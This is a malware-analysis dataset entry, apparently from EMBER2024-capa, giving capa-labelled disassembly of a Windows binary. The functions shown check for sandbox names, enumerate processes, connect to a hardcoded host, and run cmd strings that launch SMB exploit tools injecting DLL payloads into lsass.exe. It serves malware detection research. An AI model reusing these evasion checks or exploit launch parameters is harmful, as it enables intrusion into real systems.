joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4085e0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x696308
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
mov eax, dword [0x75ce68]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x2c]
mov edx, dword [eax + 4]
call edx
lea ecx, [ebp - 0x34]
call fcn.00409f40
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 0x4c]
push ecx
mov ecx, dword [ebp - 0x2c]
add ecx, 0x634
call fcn.0040a030
mov edx, dword [eax]
push edx
lea eax, [ebp - 0x50]
push eax
mov ecx, dword [ebp - 0x2c]
add ecx, 0x634
call fcn.0040a090
mov ecx, dword [eax]
push ecx
lea edx, [ebp - 0x54]
push edx
call fcn.0040cf30
add esp, 0x10
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
lea ecx, [ebp - 0x58]
push ecx
mov ecx, dword [ebp - 0x2c]
add ecx, 0x634
call fcn.0040a030
push eax
lea ecx, [ebp - 0x34]
call fcn.00409f00
movzx edx, al
test edx, edx
je 0x4086bd
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x28]
call fcn.0040a840
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
push ecx
mov ecx, dword [ebp - 0x2c]
add ecx, 0x634
call fcn.0040a130
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.0040a770
mov edx, dword [ebp - 0x2c]
add edx, 0x5d4
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov eax, dword [ebp - 0x2c]
add eax, 0x5f8
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 8
call fcn.0042d383
add esp, 4
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov dword [edx], eax
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp + 8]
mov dword [ecx + 4], edx
lea eax, [ebp - 0x40]
push eax
push 0
mov ecx, dword [ebp - 0x30]
push ecx
push 0x409340
push 0
push 0
call fcn.006393db
add esp, 0x18
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x408744
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x48], eax
lea ecx, [ebp - 0x48]
push ecx
mov ecx, dword [ebp - 0x2c]
add ecx, 0x5bc
call fcn.0040a460
jmp 0x408763
call fcn.00638e1f
mov edx, dword [eax]
push edx
push str.AddClient
push str._beginthreadex_...__failure
push 0x708d88
mov ecx, dword [ebp - 0x2c]
call fcn.00415190
mov eax, dword [ebp - 0x2c]
add eax, 0x5f8
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005faac9
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4087a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
cmp dword [eax + 0x630], 0
je 0x4087d9
call fcn.00638e1f
mov ecx, dword [eax]
push ecx
push 0x708d98
push 0x708d9c
push 0x708dcc
mov ecx, dword [ebp - 4]
call fcn.00415190
xor eax, eax
jmp 0x4089bb
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov dword [edx + 0x628], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
mov dword [ecx + 0x62c], edx
mov eax, dword [ebp - 4]
add eax, 0x5f8
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov ecx, dword [ebp - 4]
add ecx, 0x610
push ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov ecx, dword [ebp - 4]
call fcn.00408b60
push 0
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov edx, dword [ebp - 4]
mov dword [edx + 0x5b4], eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x5b4]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov edx, dword [ebp - 4]
add edx, 0x5a4
push edx
push 0
mov eax, dword [ebp - 4]
push eax
push 0x408d70
push 0
push 0
call fcn.006393db
add esp, 0x18
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x5a0], eax
mov edx, dword [ebp - 4]
cmp dword [edx + 0x5a0], 0
jne 0x40889b
call fcn.00638e1f
mov eax, dword [eax]
push eax
push 0x708ddc
push str._beginthreadex_...__failure__for_Launch_Thread
push 0x708e10
mov ecx, dword [ebp - 4]
call fcn.00415190
xor eax, eax
jmp 0x4089bb
push 0x7530
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x5b4]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x4088e7
push 0x7530
push 0x708e20
push str.Unable_to_get_response_from_Accept_Thread_withing_specified_Timeout___
push 0x708e70
mov ecx, dword [ebp - 4]
call fcn.00415190
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x5b4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x4089bb
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x5b4]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov ecx, dword [ebp - 4]
add ecx, 0x5ac
push ecx
push 0
mov edx, dword [ebp - 4]
push edx
push 0x409dd0
push 0
push 0
call fcn.006393db
add esp, 0x18
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x5a8], eax
mov edx, dword [ebp - 4]
cmp dword [edx + 0x5a8], 0
jne 0x408950
call fcn.00638e1f
mov eax, dword [eax]
push eax
push 0x708e24
push str._beginthreadex_...__failure__for_Helper_Thread
push 0x708eb0
mov ecx, dword [ebp - 4]
call fcn.00415190
xor eax, eax
jmp 0x4089bb
push 0x7530
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x5b4]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x408999
push 0x7530
push 0x708ec0
push str.Unable_to_get_response_from_Helper_Thread_within_specified_Timeout___
push 0x708f18
mov ecx, dword [ebp - 4]
call fcn.00415190
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x5b4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x4089bb
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x5b4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x630], 1
mov eax, 1
mov esp, ebp
pop ebp
ret 8
Function at 0x415550
Capabilities:
Check for sandbox username or hostname
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x170
mov eax, dword [0x75ce68]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x170], ecx
mov dword [ebp - 0x160], 0x70a4f8
mov dword [ebp - 0x15c], 0x70a500
mov dword [ebp - 0x158], 0x70a50c
mov dword [ebp - 0x154], str.Avira
mov dword [ebp - 0x150], str.COMPUTERNAME
mov dword [ebp - 0x14c], str.CWSX
mov dword [ebp - 0x148], str.Kappa
mov dword [ebp - 0x144], str.NMSDBOX
mov dword [ebp - 0x140], str.VBOX
mov dword [ebp - 0x13c], str.WILBERT_SC
mov dword [ebp - 0x138], str.XPAMASTC
mov dword [ebp - 0x134], str.XXXX_OS
mov dword [ebp - 0x130], str.cuckoo
mov dword [ebp - 0x12c], str.cwsx_
mov dword [ebp - 0x128], str.nmsdbox
mov dword [ebp - 0x124], str.qemu
mov dword [ebp - 0x120], str.sandbox
mov dword [ebp - 0x11c], str.virtual
mov dword [ebp - 0x118], str.wilbert_sc
mov dword [ebp - 0x114], str.xpamast_sc
mov dword [ebp - 0x110], str.xxxx___ox
mov dword [ebp - 0x10c], str.cuckoosandbox
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x16c], 0x100
mov byte [ebp - 0x104], 0
push 0xff
push 0
lea eax, [ebp - 0x103]
push eax
call fcn.0061cde0
add esp, 0xc
lea ecx, [ebp - 0x16c]
push ecx
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [ebp - 0x164], 0
jmp 0x4156a5
mov eax, dword [ebp - 0x164]
add eax, 1
mov dword [ebp - 0x164], eax
mov ecx, dword [ebp - 0x164]
cmp dword [ebp + ecx*4 - 0x160], 0
je 0x4156e0
mov edx, dword [ebp - 0x164]
mov eax, dword [ebp + edx*4 - 0x160]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4156de
mov eax, 1
jmp 0x41575f
jmp 0x415696
push 0x100
push 0
lea edx, [ebp - 0x104]
push edx
call fcn.0061cde0
add esp, 0xc
lea eax, [ebp - 0x16c]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov dword [ebp - 0x168], 0
jmp 0x415725
mov edx, dword [ebp - 0x168]
add edx, 1
mov dword [ebp - 0x168], edx
mov eax, dword [ebp - 0x168]
cmp dword [ebp + eax*4 - 0x160], 0
je 0x41575d
mov ecx, dword [ebp - 0x168]
mov edx, dword [ebp + ecx*4 - 0x160]
push edx
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x41575b
mov eax, 1
jmp 0x41575f
jmp 0x415716
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005faac9
mov esp, ebp
pop ebp
ret

Function at 0x418840
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jge 0x41888e
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x418879
xor eax, eax
jmp 0x418891
mov edx, 4
imul eax, edx, 0
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
mov eax, dword [eax + edx]
mov eax, dword [eax]
jmp 0x418891
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x41cc10
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x75ce68]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x104], 0
push 0xff
push 0
lea eax, [ebp - 0x103]
push eax
call fcn.0061cde0
add esp, 0xc
xor ecx, ecx
mov edx, dword [ebp + 8]
mov dword [edx], ecx
mov dword [ebp - 0x108], 0
push 0x100
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea ecx, [ebp - 0x104]
mov dword [ebp - 0x10c], ecx
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x108], eax
mov eax, 4
imul ecx, eax, 0
mov edx, dword [ebp - 0x108]
mov eax, dword [edx + 0xc]
mov ecx, dword [ecx + eax]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push 0x711064
push 0x12
mov eax, dword [ebp + 8]
push eax
call fcn.00403ed0
add esp, 0x10
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005faac9
mov esp, ebp
pop ebp
ret
Function at 0x41ccd0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7d4
mov eax, dword [0x75ce68]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x7d4], 0
push 0x7cf
push 0
lea eax, [ebp - 0x7d3]
push eax
call fcn.0061cde0
add esp, 0xc
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
push str.cmd__c_cd_C:ProgramDatasvchostlong.exe___TargetIp__s___Target_WIN72K8R2___DaveProxyPort0___NetworkTimeout_60___TargetPort__d___VerifyTarget_True___VerifyBackdoor_True___MaxExploitAttempts_3___GroomAllocations_12___OutConfig__s.txtserverlong.exe___OutConfig__s_dll.txt___TargetIp__s___TargetPort__d___DllPayload_X64.dll___DllOrdinal_1_ProcessName_lsass.exe___ProcessCommandLine___Protocol_SMB___Architecture_x64___Function_Rundllserverlong.exe___OutConfig__s_dll.txt___TargetIp__s___TargetPort__d___DllPayload_X86.dll___DllOrdinal_1_ProcessName_lsass.exe___ProcessCommandLine___Protocol_SMB___Architecture_x86___Function_Rundll
push 0x7d0
lea ecx, [ebp - 0x7d4]
push ecx
call fcn.00403ed0
add esp, 0x30
push 0
lea edx, [ebp - 0x7d4]
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x7d0
push 0
lea eax, [ebp - 0x7d4]
push eax
call fcn.0061cde0
add esp, 0xc
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
push str.cmd__c_cd_C:ProgramDatasvchostlong.exe___TargetIp__s___Target_XP___DaveProxyPort0___NetworkTimeout_60___TargetPort__d___VerifyTarget_True___VerifyBackdoor_True___MaxExploitAttempts_3___GroomAllocations_12___OutConfig__s.txtserverlong.exe___OutConfig__s_dll.txt___TargetIp__s___TargetPort__d___DllPayload_X86.dll___DllOrdinal_1_ProcessName_lsass.exe___ProcessCommandLine___Protocol_SMB___Architecture_x86___Function_Rundll
push 0x7d0
lea ecx, [ebp - 0x7d4]
push ecx
call fcn.00403ed0
add esp, 0x24
push 0
lea edx, [ebp - 0x7d4]
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005faac9
mov esp, ebp
pop ebp
ret
Function at 0x41cdb0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
mov eax, dword [0x75ce68]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x820], str.XP_SP0SP1_X86
mov dword [ebp - 0x81c], str.XP_SP2SP3_X86
mov dword [ebp - 0x818], str.XP_SP1_X64
mov dword [ebp - 0x814], str.XP_SP2_X64
mov dword [ebp - 0x810], str.SERVER_2003_SP0
mov dword [ebp - 0x80c], str.SERVER_2003_SP1
mov dword [ebp - 0x808], str.SERVER_2003_SP2
mov dword [ebp - 0x804], str.VISTA_SP0
mov dword [ebp - 0x800], str.VISTA_SP1
mov dword [ebp - 0x7fc], str.VISTA_SP2
mov dword [ebp - 0x7f8], str.SERVER_2008_SP0
mov dword [ebp - 0x7f4], str.SERVER_2008_SP1
mov dword [ebp - 0x7f0], str.SERVER_2008_SP2
mov dword [ebp - 0x7ec], str.WIN7_SP0
mov dword [ebp - 0x7e8], str.WIN7_SP1
mov dword [ebp - 0x7e4], str.SERVER_2008R2_SP0
mov dword [ebp - 0x7e0], str.SERVER_2008R2_SP1
mov dword [ebp - 0x7dc], str.WIN8_SP0
mov dword [ebp - 0x7d8], 0
mov byte [ebp - 0x7d4], 0
push 0x7cf
push 0
lea eax, [ebp - 0x7d3]
push eax
call fcn.0061cde0
add esp, 0xc
mov dword [ebp - 0x824], 0
jmp 0x41ceb9
mov ecx, dword [ebp - 0x824]
add ecx, 1
mov dword [ebp - 0x824], ecx
mov edx, dword [ebp - 0x824]
cmp dword [ebp + edx*4 - 0x820], 0
je 0x41cf3e
push 0x7d0
push 0
lea eax, [ebp - 0x7d4]
push eax
call fcn.0061cde0
add esp, 0xc
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x824]
mov edx, dword [ebp + ecx*4 - 0x820]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp + 8]
push edx
push str.cmd__c_cd_C:ProgramDatasvchostromance.exe___OutConfig__s.txt___TargetIp__s___TargetPort__d___Protocol_SMB___Target__s___ShellcodeFile_Shellcode.ini___PipeName_browser___CredChoice_0___InConfig_svchostromance.xmlserverlong.exe___OutConfig__s_dll.txt___TargetIp__s___TargetPort__d___DllPayload_X64.dll___DllOrdinal_1_ProcessName_lsass.exe___ProcessCommandLine___Protocol_SMB___Architecture_x64___Function_Rundllserverlong.exe___OutConfig__s_dll.txt___TargetIp__s___TargetPort__d___DllPayload_X86.dll___DllOrdinal_1_ProcessName_lsass.exe___ProcessCommandLine___Protocol_SMB___Architecture_x86___Function_Rundll
push 0x7d0
lea eax, [ebp - 0x7d4]
push eax
call fcn.00403ed0
add esp, 0x34
push 0
lea ecx, [ebp - 0x7d4]
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x41ceaa
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005faac9
mov esp, ebp
pop ebp
ret
Function at 0x41f540
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x75ce68]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x20], 0
mov byte [ebp - 0x18], 0x47
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x74
mov byte [ebp - 0x15], 0x4e
mov byte [ebp - 0x14], 0x61
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0x12], 0x69
mov byte [ebp - 0x11], 0x76
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x53
mov byte [ebp - 0xe], 0x79
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 0xc], 0x74
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], 0x6d
mov byte [ebp - 9], 0x49
mov byte [ebp - 8], 0x6e
mov byte [ebp - 7], 0x66
mov byte [ebp - 6], 0x6f
mov byte [ebp - 5], 0
lea eax, [ebp - 0x18]
push eax
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x41f5e6
lea ecx, [ebp - 0x44]
push ecx
call dword [ebp - 0x1c]
movzx edx, word [ebp - 0x44]
cmp edx, 9
je 0x41f5df
movzx eax, word [ebp - 0x44]
cmp eax, 6
jne 0x41f5e6
mov dword [ebp - 0x20], 1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005faac9
mov esp, ebp
pop ebp
ret

Function at 0x41f6e0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
mov eax, dword [0x75ce68]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0x134], 0x76e700
mov eax, dword [ebp - 0x134]
add eax, 1
mov dword [ebp - 0x144], eax
mov ecx, dword [ebp - 0x134]
mov dl, byte [ecx]
mov byte [ebp - 0x12d], dl
add dword [ebp - 0x134], 1
cmp byte [ebp - 0x12d], 0
jne 0x41f716
mov eax, dword [ebp - 0x134]
sub eax, dword [ebp - 0x144]
mov dword [ebp - 0x148], eax
mov ecx, dword [ebp - 0x148]
push ecx
push 0
push 0x76e700
call fcn.0061cde0
add esp, 0xc
lea edx, [ebp - 0x13c]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
cmp dword [ebp - 0x13c], 0
jne 0x41f780
mov eax, 0x76e700
jmp 0x41f83a
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0xffffffff
jne 0x41f7a3
mov eax, 0x76e700
jmp 0x41f83a
mov dword [ebp - 0x12c], pe_nt_image_headers32
lea ecx, [ebp - 0x12c]
push ecx
mov edx, dword [ebp - 0x138]
push edx
call dword [sym.imp.KERNEL32.dll_Process32First]
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0
je 0x41f828
mov eax, dword [ebp - 0x124]
cmp eax, dword [ebp - 0x13c]
jne 0x41f80c
lea ecx, [ebp - 0x108]
push ecx
push 0x7148dc
push 0x76e700
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov edx, dword [ebp - 0x138]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x76e700
jmp 0x41f83a
lea eax, [ebp - 0x12c]
push eax
mov ecx, dword [ebp - 0x138]
push ecx
call dword [sym.imp.KERNEL32.dll_Process32Next]
mov dword [ebp - 0x140], eax
jmp 0x41f7c7
mov edx, dword [ebp - 0x138]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x76e700
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005faac9
mov esp, ebp
pop ebp
ret
Function at 0x41f8d0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
mov eax, dword [0x75ce68]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0xa0], 0x9c
lea eax, [ebp - 0xa0]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ecx, [ebp - 0x94]
push ecx
lea edx, [ebp - 0x98]
push edx
lea eax, [ebp - 0x9c]
push eax
call fcn.0041f850
add esp, 0xc
mov ecx, dword [ebp - 0x90]
mov dword [ebp - 0xa4], ecx
cmp dword [ebp - 0xa4], 2
je 0x41f931
jmp 0x41fa7e
cmp dword [ebp - 0x9c], 5
jne 0x41f954
cmp dword [ebp - 0x98], 1
jne 0x41f954
mov dword [ebp + 8], str.Windows_XP
jmp 0x41fa7e
cmp dword [ebp - 0x9c], 5
jne 0x41f977
cmp dword [ebp - 0x98], 2
jne 0x41f977
mov dword [ebp + 8], str.Windows_2003
jmp 0x41fa7e
cmp dword [ebp - 0x9c], 6
jne 0x41f9ac
cmp dword [ebp - 0x98], 1
jne 0x41f9ac
movzx edx, byte [ebp - 6]
cmp edx, 1
jne 0x41f99b
mov dword [ebp + 8], str.Windows_7
jmp 0x41f9a2
mov dword [ebp + 8], str.Windows_2008R2
jmp 0x41fa7e
cmp dword [ebp - 0x9c], 6
jne 0x41f9e1
cmp dword [ebp - 0x98], 2
jne 0x41f9e1
movzx eax, byte [ebp - 6]
cmp eax, 1
jne 0x41f9d0
mov dword [ebp + 8], str.Windows_8
jmp 0x41f9d7
mov dword [ebp + 8], str.Windows_2012
jmp 0x41fa7e
cmp dword [ebp - 0x9c], 6
jne 0x41fa10
cmp dword [ebp - 0x98], 3
jne 0x41fa10
movzx ecx, byte [ebp - 6]
cmp ecx, 1
jne 0x41fa05
mov dword [ebp + 8], str.Windows_8.1
jmp 0x41fa0c
mov dword [ebp + 8], str.Windows_2012_R2
jmp 0x41fa7e
cmp dword [ebp - 0x9c], 6
jne 0x41fa3f
cmp dword [ebp - 0x98], 0
jne 0x41fa3f
movzx edx, byte [ebp - 6]
cmp edx, 1
jne 0x41fa34
mov dword [ebp + 8], str.Windows_Vista
jmp 0x41fa3b
mov dword [ebp + 8], str.Windows_2008
jmp 0x41fa7e
cmp dword [ebp - 0x9c], 4
ja 0x41fa53
mov dword [ebp + 8], str.Windows_NT
jmp 0x41fa7e
cmp dword [ebp - 0x9c], 0xa
jne 0x41fa7e
cmp dword [ebp - 0x98], 0
jne 0x41fa7e
movzx eax, byte [ebp - 6]
cmp eax, 1
jne 0x41fa77
mov dword [ebp + 8], str.Windows_10
jmp 0x41fa7e
mov dword [ebp + 8], str.Windows_2016
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005faac9
mov esp, ebp
pop ebp
ret

Function at 0x4202f0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x420347
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x420330
xor eax, eax
jmp 0x42034a
mov edx, 4
imul eax, edx, 0
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
mov eax, dword [eax + edx]
mov eax, dword [eax]
jmp 0x42034a
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x4203f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x75ce68]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, 2
mov word [ebp - 0x14], ax
movzx ecx, word [0x75e1f8]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
push str.NICHQRII
call fcn.004202f0
add esp, 4
mov dword [ebp - 0x10], eax
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x18], eax
push 0x10
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x42045e
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
jmp 0x420461
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005faac9
mov esp, ebp
pop ebp
ret

Function at 0x420470
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 8], 4
mov dword [ebp - 0xc], 4
lea eax, [ebp - 4]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0xc]
push eax
push 0
push str.MHz
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x420a30
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
movzx eax, byte [ebp + 0x10]
cdq
mov ecx, 0x5f
idiv ecx
add edx, 0x58
mov byte [ebp - 1], dl
mov dword [ebp - 8], 0
jmp 0x420a5a
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
cmp eax, dword [ebp + 0xc]
jae 0x420a8f
movzx ecx, byte [ebp - 1]
mov edx, dword [ebp + 8]
movzx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp + 8]
mov byte [ecx], al
movzx edx, byte [ebp - 1]
mov eax, dword [ebp + 8]
movzx ecx, byte [eax]
xor ecx, edx
mov edx, dword [ebp + 8]
mov byte [edx], cl
mov eax, dword [ebp + 8]
add eax, 1
mov dword [ebp + 8], eax
jmp 0x420a51
mov esp, ebp
pop ebp
ret